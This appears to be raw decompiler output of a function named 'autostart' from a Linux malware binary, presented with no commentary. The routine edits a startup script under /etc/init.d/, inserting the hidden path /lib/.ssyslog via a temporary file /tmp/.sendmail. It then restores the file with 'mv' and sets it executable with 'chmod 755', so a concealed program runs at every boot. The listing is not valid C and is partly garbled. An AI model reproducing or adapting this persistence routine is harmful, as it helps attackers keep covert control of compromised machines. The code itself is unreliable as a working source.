autostart(const char* inser_to_file)
{// addr = 0x080484E4
    FILE* in;
    FILE* tmp_fp;
    char[1023] readline;
    char[1023] command;
    char[1023] tmp_file;
    char[1023] file_way;
    char[1023] file_insert;
    int tmp;
    int flag;
    char[5] insert_str1;
    char[255] insert_str2;
    char[1023] temp_str;
    intOrPtr _v8;
    char _v12;
    char _v16;
    char* _v20;
    char _v1044;
    char _v2068;
    char _v3092;
    char _v4116;
    char _v5140;
    short _v5142;
    char _v5146;
    char _v5402;
    char _v6426;
    char* _v6448;
    intOrPtr _v6452;
    const char* _v6456;
    _unknown_ r6;
    _unknown_ _t121;
    _unknown_ _t123;
    _unknown_ _t125;
    _unknown_ _t127;
    _unknown_ _t129;
    _unknown_ _t132;
    _unknown_ _t135;
    _unknown_ _t137;
    _unknown_ _t141;
    _unknown_ _t144;
    char* _t145;
    char* _t147;
    _unknown_ _t149;
    _unknown_ _t153;
    _unknown_ _t155;
    _unknown_ _t158;
    _unknown_ _t162;
    _unknown_ _t166;
    _unknown_ _t169;
    _unknown_ _t171;
    char* _t174;
    _unknown_ _t179;
    _unknown_ _t184;
    _unknown_ _t186;
    _unknown_ _t190;

    _v20 = 0;
    _v16 = 0;
    _v8 = 2;
    _v12 = 0;
    L0806F850(__ebx, __edi, __esi,  &_v5140, 0, 1024);
    L0806F850(__ebx, __edi, __esi,  &_v3092, 0, 1024);
    L0806F850(__ebx, __edi, __esi,  &_v4116, 0, 1024);
    L0806F9E0(__edi, __esi,  &_v3092, "/tmp/.sendmail", 15);
    L0806F9E0(__edi, __esi,  &_v4116, "/etc/init.d/", 13);
    L0806E520( &_v5140,  &_v4116);
    _v6456 = inser_to_file;
     *__esp =  &_v5140;
    L0806E1B0(__esp);
    L0806F850(__ebx, __edi, __esi,  &_v2068, 0, 1024);
    L0805FF50( &_v2068, "cd %s",  &_v4116);
     *__esp =  ?_? ( &_v2068);
    L08052CC0( &_v2068, __ebx, __edi, __esi);
     *__esp =  &_v3092;
    L08071740(__ebx, __esp);
    L0806F850(__ebx, __edi, __esi,  &_v1044, 0, 1024);
    _v12 = 0;
    _v6456 = "r";
    _t145 =  &_v5140;
     *__esp = _t145;
    L08060B50();
    _v20 = _t145;
    if(_v20 == 0) {
        return ;
    }
    _v6456 = "wb+";
    _t145 =  &_v3092;
     *__esp = _t145;
    L08060B50();
    _v16 = _t145;
    if(_v16 == 0) {
        return ;
    }
    while(1) {
        _v6452 = _v20;
        _v6456 = 1024;
        _t147 =  &_v1044;
         *__esp = _t147;
        L08060880(__ebx, __edi, __esi);
        __eflags = _t147;
        if(_t147 == 0) {
            break;
        }
        _v12 = _v12 + 1;
        __eflags = _v12 - 2;
        if(_v12 != 2) {
L7:
            __eflags = _v8 - 1;
            if(__eflags != 0) {
                _t149 = L0806E770(__esp, __eflags,  &_v1044);
                L08060D80(__ebx, __edi, __esi,  &_v1044, _t149, 1, _v16);
                L0806F850(__ebx, __edi, __esi,  &_v1044, 0, 1024);
                continue;
            } else {
                goto L8;
            }
            continue;
        }
        _v5146 = 1869903201;
        _v5142 = 10;
        L0806F850(__ebx, __edi, __esi,  &_v5402, 0, 256);
        L0805FF50( &_v5402, "%s\n", "/lib/.ssyslog");
         *__esp =  &_v5146;
        _t158 = L0806E770(__esp, __eflags);
        L08060D80(__ebx, __edi, __esi,  &_v5146, _t158, 1, _v16);
         *__esp =  &_v5402;
        _t162 = L0806E770(__esp, __eflags);
        L08060D80(__ebx, __edi, __esi,  &_v5402, _t162, 1, _v16);
        L0806F850(__ebx, __edi, __esi,  &_v6426, 0, 1024);
        L0806E520( &_v6426,  &_v5146);
         *__esp =  &_v6426;
        _t171 = L0806E770(__esp, __eflags);
         *((char*)(__ebp + _t171 - 1 + -6422)) = 0;
        _t174 = L0806E4D0("auto",  &_v6426);
        __eflags = _t174;
        if(_t174 != 0) {
            goto L7;
        }
        _v8 = _v8 - 1;
        continue;
L8:
        _v8 = _v8 - 1;
    }
    L08060220(_v20);
    L08060220(_v16);
     *__esp =  &_v5140;
    L08071740(__ebx, __esp);
    L0806F850(__ebx, __edi, __esi,  &_v2068, 0, 1024);
    _v6448 =  &_v5140;
    L0805FF50( &_v2068, "mv %s %s",  &_v3092);
     *__esp =  ?_? ( &_v2068);
    L08052CC0( &_v2068, __ebx, __edi, __esi);
    L0806F850(__ebx, __edi, __esi,  &_v2068, 0, 1024);
    L0805FF50( &_v2068, "chmod 755 %s",  &_v5140);
     *__esp =  ?_? ( &_v2068);
    L08052CC0( &_v2068, __ebx, __edi, __esi);
    return;
}